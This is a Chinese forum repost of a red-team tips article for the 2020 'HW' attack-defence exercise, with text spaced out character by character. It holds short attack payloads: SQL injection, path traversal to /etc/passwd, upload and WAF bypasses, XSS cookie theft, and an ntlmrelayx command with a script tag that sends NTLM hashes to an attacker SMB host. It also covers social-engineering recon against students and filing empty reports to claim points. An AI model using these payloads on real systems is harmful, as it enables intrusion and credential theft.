搜索

[21240] 2020-09-12_2020HW小技巧总结（献上本人收藏多年的子域名字典）

文档创建者：s7ckTeam
浏览次数：40
最后更新：2025-01-18
2020-09-12_2020HW小技巧总结（献上本人收藏多年的子域名字典） 2 0 2 0 H W 小 技 巧 总 结 （ 献 上 本 人 收 藏 多 年 的 子 域 名 字 典 ） L e m o n S e c   2 0 2 0 - 0 9 - 1 2 本 人 收 集 整 理 多 年 的 子 域 名 字 典 ， 文 末 有 下 载 链 接 （ 献 上 本 人 收 藏 多 年 的 子 域 名 字 典 ） 本 人 收 集 整 理 多 年 的 子 域 名 字 典 ， 文 末 有 下 载 链 接 （ 献 上 本 人 收 藏 多 年 的 子 域 名 字 典 ） 以 下 内 容 转 载 自 乌 云 安 全 小 弟 也 第 一 次 参 加 h w ， 经 过 5 天 h w ， 确 实 也 学 到 了 许 多 的 东 西 ， 但 就 本 次 分 享 而 言 ， 我 分 享 一 些 我 认 为 在 h w 里 面 值 得 注 意 的 东 西 以 及 一 些 小 技 巧 一 一 . 信 息 收 集 信 息 收 集 信 息 收 集 这 个 多 西 当 然 都 是 老 生 常 谈 了 ， 你 收 集 的 东 西 越 多 ， 能 打 的 方 向 也 就 越 多 ， 当 然 , h w 给 你 打 的 资 源 的 格 式 一 般 为 单 位 名 称 ， 系 统 名 称 ， 域 名 ， I P 地 址 。 当 然 ， 其 他 的 资 源 可 能 都 大 同 小 异 。 网 上 都 有 很 多 信 息 收 集 的 东 西 ， 都 是 那 一 套 ， 扫 端 口 ， 找 子 域 名 ， 看 站 有 没 有 泄 露 什 么 东 西 ， 什 么 敏 感 文 件 ， 看 网 站 的 框 架 。 现 在 ， 我 就 先 给 大 家 梳 理 一 下 。 信 息 收 集 的 本 质 有 2 个 ， 一 是 把 现 有 的 资 源 扩 大 ， 能 给 我 们 多 一 些 渗 透 的 方 向 。 二 是 了 解 渗 透 目 标 ， 是 我 们 的 e x p 能 够 精 准 有 效 的 打 击 。 如 何 把 资 源 扩 大 ？ 如 何 把 资 源 扩 大 ？ 比 如 给 的 目 标 : 单 位 名 称 ： x x x 市 学 校 ， 域 名 ： w w w . a b c . c o m   i p ： 1 2 3 . 1 2 3 . 1 2 3 . 1 2 3 （ 有 的 要 给 端 口 ） 首 先 从 单 位 名 称 入 手 , 进 入 f o f a 或 者 其 他 搜 收 平 台 , t i t l e = " x x x 市 学 校 " 然 后 是 域 名 ， 域 名 建 议 用 挖 掘 机 或 者 s u b D o m a i n s B r u t e . p y i p 的 话 就 是 扫 端 口 ， 外 网 建 议 用 m a s s c a n ， 内 网 的 话 建 议 用 n b t s c a n 。 如 何 了 解 我 们 的 渗 透 目 标 如 何 了 解 我 们 的 渗 透 目 标 推 荐 几 款 g o o g l e 的 插 件 ， 第 一 款 w a p p a l y z e r .
当 然 ， 这 款 插 件 也 不 一 定 检 查 的 全 ， 但 是 还 是 能 检 查 出 大 部 分 的 ， 有 些 框 架 你 要 进 入 网 站 的 一 些 目 录 才 会 检 查 出 来 ， 例 如 进 入 后 台 登 录 界 面 ， 一 些 文 章 分 类 的 界 面 。 当 然 还 有 一 些 小 众 的 用 法 ， 就 这 一 次 ， 我 们 团 队 进 了 一 个 学 校 o a 的 后 台 ， 弱 口 令 进 的 ， 但 是 那 个 后 台 没 有 上 传 ， 注 入 各 类 参 数 也 没 有 测 出 来 ， 然 后 在 登 陆 界 面 上 面 写 的 是 鹏 达 内 网 校 园 系 统 ， 但 是 进 去 就 没 有 任 何 信 息 ， 然 后 就 在 网 上 找 e x p ， 没 想 到 在 c n v d 上 找 到 了 注 入 ， 队 友 们 真 的 好 顶 啊 。 第 二 款 第 二 款 s h o d a n 这 个 可 以 探 测 端 口 ， 有 些 时 候 能 探 测 出 漏 洞 ， 就 比 如 这 次 h w ， 我 探 测 出 来 了 心 脏 滴 血 ， 虽 然 最 后 没 用 用 上 然 后 是 扫 目 录 和 找 后 台 的 ， 扫 目 录 的 我 推 荐 d i r s e a r c h . p y 和 御 剑 ， 找 后 台 的 我 推 荐 t e s t 4 0 4 轻 量 级 后 台 扫 描 器 。 当 然 ， 以 来 我 们 可 以 先 不 扫 ， 可 以 找 一 些 敏 感 的 文 件 后 者 后 台 ， 常 见 的 敏 感 文 件 p h p i n f o , r o b o t s . t x t .
p h p i n f o 的 话 可 以 看 看 绝 对 路 径 ， 网 上 也 有 几 篇 讲 了 p h p i n f o 可 以 g e t s h e l l ， 但 我 遇 到 了 很 多 p h p i n f o 没 有 g e t 到 一 个 ， 不 过 有 一 次 倒 是 遇 到 了 p h p s t u d y 的 后 门 ， 秒 了 一 次 。 r o b o t s . t x t 看 的 话 也 基 本 上 是 d i s a l l o w ， 然 后 啥 也 没 有 了 ， 但 是 还 是 看 一 看 ， 万 一 有 惊 喜 呢 。 有 一 个 网 站 可 以 在 线 探 测 ， 还 挺 不 错 的 ， h t t p s : / / s c a n . t o p 1 5 . c n / w e b / i n f o l e a k 但 是 其 他 功 能 就 比 较 拉 跨 ， 哈 哈 哈 哈 。 后 台 的 话 可 以 手 动 先 找 一 下 ， a d m i n , l o g i n , m a n a g e r , 或 者 比 如 成 都 市 阿 鑫 鑫 鑫 鑫 哥 哥 公 司 ， w w w . a b c . c o m / a x x x x g g / a d m i n ， 这 样 先 探 测 一 下 ， 再 扫 ， 效 果 会 更 好 一 点 。 信 息 收 集 的 话 我 们 还 是 在 每 一 个 资 源 上 都 测 一 下 域 传 输 漏 洞 ， 如 果 真 有 ， 那 岂 不 美 滋 滋 ？ 二 二 . 目 标 选 择 目 标 选 择 h w 其 实 就 只 有 这 么 几 天 时 间 ， 选 择 一 个 好 的 目 标 ， 我 们 能 够 在 有 限 的 时 间 内 ， 更 容 易 拿 分 。 优 先 选 择 学 校 > 化 工 & & 交 通 & & 能 源 & & 论 坛 & & 各 类 企 业 > 医 院 & & 银 行 & & 电 信 （ 运 营 商 搭 建 的 ) 为 什 么 这 样 选 ， 因 为 高 校 的 资 源 多 , 有 O A 系 统 ， 教 务 ， 学 生 平 台 ， 广 播 系 统 ， 新 闻 发 布 中 心 ， 乱 七 八 糟 的 ， 都 可 以 打 ， 并 且 ， 高 校 的 防 御 相 对 于 没 有 那 么 森 严 ， 而 且 ， 也 容 易 社 工 ， 比 如 x x x 市 职 业 学 校 ， 在 q q 上 收 一 下 什 么 x x x x 市 职 业 学 校 兼 职 群 ， x x x x 市 职 业 学 校 新 生 群 ， 学 号 大 把 大 把 的 有 ， 其 他 的 系 统 哪 儿 有 那 么 容 易 。 然 后 再 说 说 为 什 么 把 医 院 银 行 ， 电 信 这 三 个 放 最 后 ， 首 先 是 医 院 ， 如 果 真 的 拿 下 一 个 h i s 的 内 网 权 限 ， 真 的 对 这 个 医 院 ， 或 者 是 这 个 地 级 市 造 成 不 可 估 量 的 损 失 。 所 以 防 护 肯 定 是 拉 满 的 ， 第 二 ， 资 源 少 啊 ， 一 个 医 院 ， 除 了 域 名 ， o a 系 统 ， 基 本 上 你 找 不 到 其 他 资 源 了 ， 并 且 一 些 敏 感 的 目 录 动 不 动 就 5 0 0 ， 怎 么 玩 ？ 银 行 也 同 理 ， 所 以 ， 我 们 要 想 拿 下 ， 真 就 看 运 维 ， 或 者 手 上 的 d a y 。 中 间 的 话 ， 资 源 略 少 于 学 校 ， 网 站 的 防 护 也 略 低 于 医 院 银 行 。 三 三 . 拿 拿 s h e l l （ 得 分 ） （ 得 分 ） 1 . 如 果 运 气 好 ， 什 么 t p ， j o o m l a 的 框 架 ， 网 上 有 e x p ， 直 接 秒 掉 ， 这 是 最 好 的 。 2 . 弱 口 令 ， 永 远 的 神 ， a d m i n   a d m i n   a d m i n   a d m i n 1 2 3   a d m i n   1 2 3 4 5 6   先 打 一 波 ， 然 后 在 合 理 的 爆 破 ， 先 不 说 拿 不 拿 的 下 ， 当 我 们 那 一 个 弱 口 令 ， 就 用 5 0 - 1 0 0 的 分 ， 并 且 有 很 多 口 子 ， 都 是 弱 口 令 进 入 后 台 ， 拿 下 s h e l l 的 。 3 . 上 传 ， 上 传 成 功 就 s h e l l ， 还 是 很 粗 暴 的 ， 如 果 是 黑 名 单 ， 想 办 法 绕 ， 网 上 有 很 多 思 路 的 ， 白 名 单 看 是 否 存 在 解 析 ， 没 有 的 话 直 接 p a s s 4 . 各 类 未 授 权
什 么 r e d i s , m o n g o d b ， 扫 了 端 口 都 先 测 一 波 ， 未 授 权 的 分 虽 然 低 ， 但 是 还 是 很 多 ， 不 管 是 外 网 或 者 内 网 ， 特 别 是 在 内 网 打 不 动 的 时 候 ， 找 一 找 未 授 权 ， 形 形 色 色 的 内 网 系 统 各 类 未 授 权 的 分 真 的 相 当 于 几 台 服 务 器 了 。 5 . 注 入 注 入 的 话 现 在 越 来 越 难 利 用 了 ， 因 为 注 入 曾 经 太 猛 了 ， m y s q l 的 话 基 本 上 是 读 读 数 据 ， 读 出 数 据 进 入 后 台 拿 下 s h e l l , m s s q l 还 好 一 些 ， 运 气 好 的 话 - - o s - s h e l l 直 接 c s 上 线 ， 不 支 持 堆 叠 注 入 的 话 吐 司 有 一 篇 文 章 讲 的 就 是 不 支 持 堆 叠 注 入 g e t s h e l l 。 6 . x s s ， 钓 鱼 需 要 时 间 。 7 . 其 他 漏 洞 x x e , s s r f , c s r f 等 漏 洞 ， 真 的 遇 到 都 算 是 不 错 了 。 四 四 . h w 测 试 的 地 方 和 一 些 另 类 小 技 巧 测 试 的 地 方 和 一 些 另 类 小 技 巧 1 . 对 于 j a v a 的 框 架 真 的 要 很 敏 感 ， 常 见 的 s t 2 , j b o s s 反 序 列 化 ， s h i r o 反 序 列 化 。 2 . 看 站 的 时 候 可 以 用 x r a y , 真 的 有 用 ， 这 次 h w 找 了 3 个 注 入 , 给 长 亭 打 钱 3 . 当 资 源 共 享 出 来 的 时 候 ， 找 到 了 什 么 弱 口 令 ， 未 授 权 ， 先 交 报 告 ， 然 后 在 编 辑 ， 因 为 裁 判 要 复 现 打 一 到 ， 可 能 还 要 玩 手 机 ， 所 以 不 用 担 心 交 了 报 告 马 上 就 会 审 核 ， 所 以 我 们 可 以 先 交 报 告 ， 站 一 个 坑 位 ， 然 后 在 编 辑 ， 因 为 当 资 源 共 享 的 时 候 ， 一 个 弱 口 令 都 是 香 饽 饽 ， 大 家 都 会 交 ， 所 以 我 们 先 交 站 坑 位 ， 如 果 裁 判 马 上 审 ， 就 是 ， 哎 哟 ， 交 快 了 ， 交 了 一 个 空 报 告 ， 不 好 意 思 。 4 . 当 资 源 没 有 共 享 的 时 候 ， 报 告 经 量 交 一 个 完 整 的 ， 就 是 外 网 打 点 进 入 ， 打 穿 内 网 ， 直 接 把 这 个 资 源 的 分 恰 满 ， 但 是 资 源 共 享 的 时 候 还 是 找 了 一 个 交 一 个 ， 除 非 很 有 自 信 ， 其 他 队 找 不 到 。 五 五 . 分 享 一 些 东 西 吧 。 分 享 一 些 东 西 吧 。 （ （ 1 ） ） s q l 注 入 和 逻 辑 漏 洞 注 入 和 逻 辑 漏 洞 1 . 注 册 账 号 的 时 候 ： 账 号 a d m i n 空 格 空 格 空 格 空 格 空 格 空 格   密 码 随 意 。 登 陆 的 时 候 会 把 空 格 解 析 掉 ， 变 成 真 正 的 a d m i n 。 2 . 如 若 只 能 上 传 图 片 的 时 候 ， 可 以 把 图 片 名 修 改 ， 造 成 二 次 注 入 . 3 . ? x = 1 - i f ( u s e r ( )   l i k e   ' x % 2 5 ' , 0 , 1 ) 这 条 p a y l o a d 放 入 b u r p s u i t , 然 后 给 x 加 入 p a y l o a d ， 大 小 写 加 上 ， 处 数 据 。 4 . 好 好 利 用 b p 与 s q l 注 入 ， 可 以 更 改 包 的 格 式 ， g e t 改 为 P o s t , 然 后 在 输 入 p a y l o a d 。 5 . 我 们 在 用 b p 抓 包 是 ， 我 们 可 以 将 x - f o r w a r d 改 为 1 2 7 . 0 . 0 . 1 , 它 可 能 对 本 地 的 包 不 过 滤 6 . 比 如 一 个 页 面 存 在 s q l 注 入 ， 但 是 可 能 会 被 拦 截 ， 我 们 可 以 尝 试 在 u r l 里 头 构 造 a d m i n , i n s t a l l , 等 白 名 单 词 汇 来 绕 过 7 . 垃 圾 数 据 注 入 ， 如 果 是 p o s t 型 ， 就 把 垃 圾 数 据 放 在 需 要 注 入 的 参 数 后 面 ， 如 果 是 g e t 型 ， 就 把 他 变 成 P o s t 型 ， 在 放 垃 圾 数 据 8 . 在 后 台 ， 我 们 的 账 号 权 限 不 够 ， 可 以 修 改 密 码 ， 将 r e f e r 和 P o s t 里 的 参 数 改 为 管 理 员 的 账 号 已 引 发 逻 辑 漏 洞 （ （ 2 ） 信 息 收 集 篇 ） 信 息 收 集 篇
1 . 如 若 存 在 g i t 文 件 ， . g i t 文 件 可 以 用 来 恢 复 源 代 码 2 . d s _ s t o r e 可 以 用 p y t h o n 的 e x p 打 3 . . s v n 文 件 4 . 如 若 扫 到 敏 感 文 件 ， 但 是 却 没 有 权 限 访 问 ， 列 如 h t t p : / / l o c a l h o s t : 8 0 8 0 / u r l t e s t / i n f o / s e c r e t . j s p 此 页 面 1 . h t t p : / / l o c a l h o s t : 8 0 8 0 / u r l t e s t / . / i n f o / s e c r e t . j s p 2 . h t t p : / / l o c a l h o s t : 8 0 8 0 / u r l t e s t / ; x i n x i n / i n f o / s e c r e t . j s p 3 . h t t p : / / l o c a l h o s t : 8 0 8 0 / u r l t e s t / x i n x i n / . . / i n f o / s e c r e t . j s p   / / 都 可 以 尝 试 一 下 5 . 如 果 存 在 s w p 文 件 ， 是 v i m 的 文 件 ， 我 们 可 以 用 v i m   - r 来 恢 复 ， 说 不 定 能 看 到 一 些 y d 的 东 西 （ （ 3 ） 上 传 篇 ） 上 传 篇 1 . 如 若 不 存 在 白 名 单 限 制 ， 但 就 是 上 传 不 了 ， 可 以 改 为 c s p r o j 这 个 后 缀 ， 再 上 传 p h p ， 包 含 c s p r o j 即 可 常 见 的 假 后 缀 ， p h t m l 2 . 如 若 存 在 某 种 白 名 单 限 制 ， 我 们 可 以 借 助 环 境 变 量 绕 过 ， 列 如 无 法 上 传 d l l 文 件 , 我 们 可 以 将 d l l 的 后 缀 改 为 p h p ， 然 后 用 s q l 查 询 h e x 值 s e l e c t   h e x ( l o a d _ f i l e ( ' F : / p h p s t u d y / p h p s t u d y / p h p s t u d y _ p r o / E x t e n s i o n s / M y S Q L 5 . 5 . 2 9 / l i b / p l u g i n / 1 . p h p ' ) ) ; 然 后 再 用 p h p 语 法 转 化 为 d l l 二 进 制 文 件 < ? p h p e c h o   f i l e _ p u t _ c o n t e n t s ( ' u d f . d l l ' , h e x 2 b i n ( " 这 里 为 s q l 查 询 出 来 的 值 " ) ) ; ? > 3 . 基 于 C o n t e n t - T y p e ， 除 了 常 见 的 a p p l i c a t i o n / x m l ， a p p l i c a t i o n / j s o n ， m u l t i p a r t / f o r m - d a t a 还 有 就 是 a p p l i c a t i o n / v n d . p h p . s e r i a l i z e d ， 将 C T 改 为 a p p l i c a t i o n / v n d . p h p . s e r i a l i z e d （ （ 4 ） 其 他 ） 其 他 1 . 如 果 能 上 传 s w f ， 也 可 以 根 据 s w f 构 造 x s s 的 p a y l o a d 2 . 可 以 利 用 x s s 拿 n t m l p y t h o n   n t l m r e l a y x . p y   - t f   t a r g e t s . t x t   - c   h o s t n a m e   >   ~ / s m b r e l a y . t x t   / / t a r g e t . t x t 是 i p 地 址 < s c r i p t   s r c = " 1 0 . 0 . 0 . 7 s m b r e l a y " > < b r >   3 . 如 用 x s s 拿 下 c o o k i e , 但 是 登 陆 以 后 是 静 态 的 ， 我 们 就 得 想 到 同 源 策 略 ， 设 置 d o c u m e n t . c o o k i e 来 共 享 c o o k i e . < b r >   4 . s s r f 利 用 可 以 将 i p 转 化 为 8 进 制 。 / / 此 外 ， 八 进 制 前 面 可 以 + 0 ， 可 以 加 1 - 3 个 < b r >   5 . 也 可 以 将 h t t p s : / /   这 2 个 / / 去 掉 < b r >   6 . 重 定 向 ， < a   h r e f = " h t t p s : / / w w w . b a i d u . c o m @ 1 2 7 . 0 . 0 . 1 " > h t t p s : / / w w w . b a i d u . c o m @ 1 2 7 . 0 . 0 . 1 < / a >   / / @ 可 以 变 为 # 和 ？ < b r >   7 . 如 若 无 法 访 问 ， 可 以 尝 试 加 上 端 口 ， 加 一 个 8 0 < b r >   8 . 平 时 用 b p 抓 包 ， 对 c o o k i e 以 及 s e s s i o n 这 2 个 字 段 敏 感 一 点 ， 修 改 一 下 参 数 说 不 定 可 以 造 成 任 意 用 户 浏 览 < b r >   9 . 网 页 U R L 里 头 存 在 啥 子 a c t i o n = , 或 者 啥 子 单 一 的 参 数 等 于 ， 可 以 搞 啊 一 哈 a c t i o n = . . / . . / e t c / p a s s w d   可 以 用 b p 抓 包 ， 看 到 他 的 一 些 文 件 和 路 径 < b r >   1 0 . 如 果 用 b p 抓 包 ， 发 现 有 c o m m a n d 参 数 ， 我 们 可 以 试 试 c a t + / e t c / v e r s i o n 看 信 息 ， 根 据 版 本 来 说 < / p >   < / s c r i p t > 作 者 ： 阿 鑫 鑫 鑫 鑫 哥 哥 阿 鑫 鑫 鑫 鑫 哥 哥       文 章 来 源 ： 先 知 社 区
本 人 收 集 整 理 多 年 的 子 域 名 字 典 ， 分 享 下 载 链 接 ： 本 人 收 集 整 理 多 年 的 子 域 名 字 典 ， 分 享 下 载 链 接 ： 链 接 ： 链 接 ： h t t p s : / / p a n . b a i d u . c o m / s / 1 T J 4 D W T - G Z - x i F k H P t a 1 P c A   提 取 码 ： 提 取 码 ： j v c 5 无 马 、 不 放 心 可 查 杀 （ 主 要 还 是 本 人 菜 ， 不 会 写 马 ）
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理